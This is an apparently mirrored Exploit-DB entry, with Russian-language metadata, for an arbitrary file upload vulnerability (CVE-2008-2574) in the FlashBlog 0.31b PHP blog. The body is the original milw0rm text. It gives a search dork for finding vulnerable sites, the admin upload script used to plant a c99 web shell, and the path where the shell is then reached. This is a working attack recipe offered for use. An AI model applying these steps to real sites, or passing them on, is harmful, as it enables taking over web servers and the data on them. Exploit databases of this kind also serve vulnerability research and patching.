Exploit FlashBlog 0.31b - Arbitrary File Upload

[Exploiter]

EDB-ID

5728

Проверка EDB

1. Пройдено

Автор

ILKER KANDEMIR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-2574

Дата публикации

2008-06-03

FlashBlog beta0.31 Remote File Upload Vulnerability

# Author : ilker kandemir a.k.a MEFISTO  

# Dork : inurl:flashblog.html  or  inurl:/flashblog/

# Website : www.dumenci.net, www.coderx.org

http://[site.com]/admin/Editor/imgupload.php ==>>> upload your c99 shell

http://[site.com]/tus_imagenes/c99.php ==>>> your address

Tnx: Dumenci, Damar, Cr@zy_king, Str0ke and all my friendz

# milw0rm.com [2008-06-03]